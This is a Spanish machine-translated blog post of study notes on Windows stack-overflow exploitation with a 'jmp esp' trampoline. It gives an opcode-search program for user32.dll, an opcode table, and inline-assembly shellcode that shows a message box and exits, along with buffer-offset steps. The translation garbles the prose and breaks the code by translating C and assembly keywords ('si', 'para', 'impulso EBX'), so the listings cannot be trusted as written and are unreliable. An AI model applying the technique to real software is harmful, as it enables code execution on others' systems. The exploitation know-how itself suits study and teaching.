[] Ⅰ notas de estudio Capítulo 3 Desarrollo del Arte (funcionamiento práctico) del código shell

Shift y pila de marcos 0x00 jmp esp

principio 0x01

En el código en principio desbordamiento de pila capítulo2 y la práctica, directamente a la dirección de retorno configurado como un valor fijo, pero debido a la biblioteca de vínculos dinámicos de carga y descarga y otras razones, es probable que el proceso de Windows marco de pila función de tener un "cambio ", lo que resulta en el caso que se muestra a continuación, apunta a un comando no válido, lo que resulta en código shell no funcionan correctamente. 

Para resolver este problema, es necesario utilizar un "trampolín" , aquí está la instrucción de salto JMP ESP (tecnología de trampolín debe ser considerado como un hito en el uso de la técnica de desbordamiento de pila de Windows).

proceso de ataque:

  • Con cualquiera de una dirección de memoria de la instrucción jmp esp dirección de la función de la cobertura de retorno;
  • Después se ejecuta la instrucción jmp esp, el procesador estará en función de la zona de pila local después de la ejecución de la instrucción de retorno dirección de extracción;
  • Shellcode reordenamiento: la sección delantera en el que el tampón está llena de datos arbitrarios, la shellcode coloca justo después de la función devuelve la dirección.

0x02 usando el posicionamiento "trampolín" explotar

Preparación 1: Búsqueda de memoria programada, encontrar jmp esp dirección de memoria.

jmp esp código de máquina correspondiente es 0xFFE4, el papel del programa es de la dirección base en la memoria USER32.DLL empezar a buscar hacia atrás 0xFFE4, si se descubre que volver a su dirección de memoria (valor del puntero). Modificar el programa puede ser usado para reemplazar otra user32.dll librería de enlace dinámico, u otros tipos de dirección de salto.

// FF E0 JMP EAX
// FF E1 JMP ECX
// FF E2 JMP EDX
// JMP EBX FF E3
// FF E4 JMP ESP
// FF E5 JMP EBP
// FF E6 JMP ESI
// FF E7 JMP EDI

// FF D0 LLAMADA EAX
// FF D1 LLAMADA ECX
// FF D2 LLAMADA EDX
// FF D3 LLAMADA EBX
// FF D4 LLAMADA ESP
// FF D5 LLAMADA EBP
// FF D6 LLAMADA ESI
// FF D7 LLAMADA EDI


#include <windows.h> #include <stdio.h> #define DLL_NAME "user32.dll" main () { BYTE * ptr; int posición, dirección; HINSTANCE mango; BOOL done_flag = FALSE; mango = LoadLibrary (DLL_NAME); si (! mango) { printf ( " DLL de carga erro! " ); de salida ( 0 ); } Ptr = (BYTE * ) de mango; para (posición = 0 ;! done_flag; posición ++) { Try { si (ptr [posición] == 0xFF && ptr [posición + 1 ] == 0xE4 ) { // 0xFFE4 es el código de operación de jmp esp int dirección = ( int ) ptr + posición; printf ( " OPCODE encontrar en 0x% x \ n " , dirección); } } Catch (...) { int dirección = ( int ) ptr + posición; printf ( " FIN DE 0x% x \ n " , dirección); done_flag = verdadero ; } } }

El resultado:

Seleccionar un 0x77D86773 como una dirección de retorno.

Preparación 2: Para fijar antes de que el código shell no puede salir correctamente defectos, después de la llamada al cuadro de mensaje, llamando a la función de salida permite que el programa para salir limpiamente.

función de exportación ExitProcess kernel32.dll sigue utilizando Dependency Walker, tenemos que encontrar la dirección de memoria, los resultados son los siguientes:

dirección kernel32.dll base de 0x7C800000 , además de la dirección de desplazamiento de la función 0x0001CAFA , para dar a la entrada final para la dirección de la función de 0x7C81CAFA .

Preparación 3: extraer código ensamblador código de máquina correspondiente. Por herramienta de desmontaje, como Pro IDA o código ensamblador a código máquina OD conversión completa.

Shellcode utiliza como código fuente, compilado con plazo VC6.0:

#include <windows.h>
 int main () 
{     
    HINSTANCE LibHandle; 
    Char dllbuf [ 11 ] = " user32.dll " ; 
    LibHandle = LoadLibrary (dllbuf); 
    _asm { 
                nop 
                nop 
                nop 
                nop 
                nop 
                nop 
                nop 
                nop 
                nop 
                nop 
                nop 
                nop 
                nop 
                nop 
                nop
                nop 
                nop 
                nop 
                nop 
                nop 
                nop 
                nop 
                nop 
                sub sp, 0x440 
                xor EBX, EBX 
                impulso EBX // corte cadena de 
                empuje 0x74736577 
                empuje 0x6C696166 // empujar failwest 
            
                mov eax, esp // dirección de carga de failwest 
                impulso EBX     
                empuje eax 
                empuje eax 
                impulso EBX
                
                mov eax, 0x77D507EA // (0x77D804EA) dirección debe restablecerse en diferentes sistemas operativos 
                llamada eax   // MessageBoxA llamada 
                            
                empujar EBX 
                mov eax, 0x7C81CAFA  // (0x7C81CDDA) dirección debe restablecerse en diferentes sistemas operativos 
                llamada eax // salida de llamadas (0) 
                
                nop 
                nop 
                nop 
                nop 
                nop 
                nop 
                nop 
                nop 
                nop 
                nop 
                nop
                nop 
                nop 
                nop 
                nop 
                nop 
    } 
}

Nota! dirección de entrada ExitProcess correspondiente a la función a ser cambiado a la preparación obtenida en el Ejemplo 2 de dirección de memoria. Al mismo tiempo, antes y después de la próxima código máquina la entrada más nop conveniente está posicionado.

Resultados: Carga del OD en el archivo PE, encontrar el código de máquina correspondiente copiado al archivo TXT.

Hasta ahora, el trabajo de preparación necesario se hace, luego de hacer explotar él!

En primer lugar, calcular la dirección de retorno de desplazamiento en el búfer, la dirección de memoria llena jmp esp en bytes 53-56, antes de llenarlo con una cadena arbitraria (por ejemplo, '1234').

A continuación, llenar el código de máquina para ser ejecutado:

Resultados: El uso de trampolín para completar el cuadro de mensaje, y no aparece un error de memoria.

Supongo que te gusta

Origin www.cnblogs.com/ninahu/p/12546560.html
Recomendado
Clasificación